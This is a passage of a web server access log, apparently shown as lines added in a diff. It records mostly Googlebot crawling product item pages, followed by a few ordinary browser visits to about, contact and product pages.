"Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:19 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:19 +0000] "GET /products/item/1186 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:19 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:19 +0000] "GET /products/item/1715 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:19 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:19 +0000] "GET /products/item/1977 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:20 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:20 +0000] "GET /products/item/1397 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:20 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:20 +0000] "GET /products/item/1518 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:20 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:20 +0000] "GET /products/item/1627 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:20 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:20 +0000] "GET /products/item/1977 HTTP/1.1" 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- - [02/Jul/2025:12:04:21 +0000] "GET /products/item/1812 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:21 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:21 +0000] "GET /products/item/1276 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:21 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:21 +0000] "GET /products/item/1825 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:22 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:22 +0000] "GET /products/item/1456 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:22 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:22 +0000] "GET /products/item/1531 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:22 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:22 +0000] "GET /products/item/1974 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 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+0000] "GET /products/item/1908 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:23 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:23 +0000] "GET /products/item/1098 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:23 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:23 +0000] "GET /products/item/1457 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:23 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:23 +0000] "GET /products/item/1937 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:24 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:24 +0000] "GET /products/item/1695 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:24 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:24 +0000] "GET /products/item/1035 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:24 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:24 +0000] "GET /products/item/1124 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:24 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:24 +0000] "GET /products/item/1408 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:24 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:24 +0000] "GET /products/item/1599 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:24 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:24 +0000] "GET /products/item/1783 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:24 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:24 +0000] "GET /products/item/1963 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:25 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:25 +0000] "GET /products/item/1969 HTTP/1.1" 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- - [02/Jul/2025:12:04:26 +0000] "GET /products/item/1317 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:26 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:26 +0000] "GET /products/item/1569 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:26 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:26 +0000] "GET /products/item/1163 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:26 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:26 +0000] "GET /products/item/1450 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:26 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:26 +0000] "GET /products/item/1899 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:27 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:27 +0000] "GET /products/item/1860 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 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+0000] "GET /products/item/1518 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:27 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:27 +0000] "GET /products/item/1756 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /products/item/1062 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /products/item/1173 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /products/item/1435 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /products/item/1592 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /products/item/1768 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /products/item/1901 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /products/item/1072 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /products/item/1100 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /products/item/1475 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:28 +0000] "GET /products/item/1893 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:29 +0000] "GET /products/item/1117 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:29 +0000] "GET /products/item/1986 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:29 +0000] "GET /products/item/1308 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:29 +0000] "GET /products/item/1514 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:29 +0000] "GET /products/item/1633 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:30 +0000] "GET /products/item/1281 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:30 +0000] "GET /products/item/1612 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:30 +0000] "GET /products/item/1780 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:30 +0000] "GET /products/item/1754 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:31 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:31 +0000] "GET /products/item/1569 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:31 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:31 +0000] "GET /products/item/1039 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 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+0000] "GET /products/item/1010 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:32 +0000] "GET /products/item/1699 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:32 +0000] "GET /products/item/1761 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:32 +0000] "GET /products/item/1761 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:32 +0000] "GET /products/item/1782 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:32 +0000] "GET /products/item/1923 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:32 +0000] "GET /products/item/1277 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:32 +0000] "GET /products/item/1331 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:33 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:33 +0000] "GET /products/item/1455 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:33 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:33 +0000] "GET /products/item/1877 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:33 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:33 +0000] "GET /products/item/1414 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:33 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:33 +0000] "GET /products/item/1497 HTTP/1.1" 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- - [02/Jul/2025:12:04:34 +0000] "GET /products/item/1630 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:34 +0000] "GET /products/item/1968 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:34 +0000] "GET /products/item/1090 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:34 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:34 +0000] "GET /products/item/1276 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:35 +0000] "GET /products/item/1159 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:35 +0000] "GET /products/item/1516 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 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+0000] "GET /products/item/1669 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:36 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:36 +0000] "GET /products/item/1451 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:36 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:36 +0000] "GET /products/item/1955 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:36 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:36 +0000] "GET /products/item/1047 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:36 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:36 +0000] "GET /products/item/1235 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:36 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:36 +0000] "GET /products/item/1443 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:37 +0000] "GET /products/item/1446 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:37 +0000] "GET /products/item/1261 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:37 +0000] "GET /products/item/1441 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:37 +0000] "GET /products/item/1768 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:37 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:37 +0000] "GET /products/item/1847 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:38 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:38 +0000] "GET /products/item/1343 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:38 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:38 +0000] "GET /products/item/1472 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:39 +0000] "GET /products/item/1691 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:39 +0000] "GET /products/item/1790 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:39 +0000] "GET /products/item/1986 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:39 +0000] "GET /products/item/1247 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:39 +0000] "GET /products/item/1384 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:39 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:39 +0000] "GET /products/item/1894 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:40 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:40 +0000] "GET /products/item/1105 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:40 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:40 +0000] "GET /products/item/1308 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:40 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:40 +0000] "GET /products/item/1509 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:40 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:40 +0000] "GET /products/item/1414 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 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02 12:04:42 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:42 +0000] "GET /products/item/1780 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:42 +0000] "GET /products/item/1518 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:42 +0000] "GET /products/item/1211 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:43 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:43 +0000] "GET /products/item/1465 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:43 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:43 +0000] "GET /products/item/1800 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:43 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:43 +0000] "GET /products/item/1864 HTTP/1.1" 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02 12:04:48 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:48 +0000] "GET /products/item/1079 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:48 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:48 +0000] "GET /products/item/1951 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:49 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:49 +0000] "GET /products/item/1278 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:49 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:49 +0000] "GET /products/item/1312 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:49 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:49 +0000] "GET /products/item/1415 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:50 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:50 +0000] "GET /products/item/1246 HTTP/1.1" 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+0000] "GET /products/item/1334 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:53 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:53 +0000] "GET /products/item/1570 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:53 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:53 +0000] "GET /products/item/1230 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:53 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:53 +0000] "GET /products/item/1802 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:54 +0000] "GET /products/item/1391 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:55 +0000] "GET /products/item/1606 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:55 +0000] "GET /products/item/1820 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:55 +0000] "GET /products/item/1855 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:55 +0000] "GET /products/item/1528 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:56 +0000] "GET /products/item/1078 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:56 +0000] "GET /products/item/1104 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:56 +0000] "GET /products/item/1118 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:56 +0000] "GET /products/item/1156 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:57 +0000] "GET /products/item/1375 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:57 +0000] "GET /products/item/1445 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:57 +0000] "GET /products/item/1062 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:57 +0000] "GET /products/item/1369 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:57 +0000] "GET /products/item/1058 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:57 +0000] "GET /products/item/1844 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-server[4321]: 66.249.66.1 - - [02/Jul/2025:12:04:58 +0000] "GET /products/item/1897 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:58 +0000] "GET /products/item/1169 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:58 +0000] "GET /products/item/1601 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:58 +0000] "GET /products/item/1815 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-server[4321]: 66.249.66.5 - - [02/Jul/2025:12:04:59 +0000] "GET /products/item/1979 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-server[4321]: 66.249.66.9 - - [02/Jul/2025:12:04:59 +0000] "GET /products/item/1817 HTTP/1.1" 200 1528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:01 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:05:01 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:05 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:05:05 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:08 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:05:08 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:05:11 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:05:11 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:05:13 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:05:13 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:05:14 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:05:14 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:15 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:05:15 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:18 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:05:18 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:24 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:05:24 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) 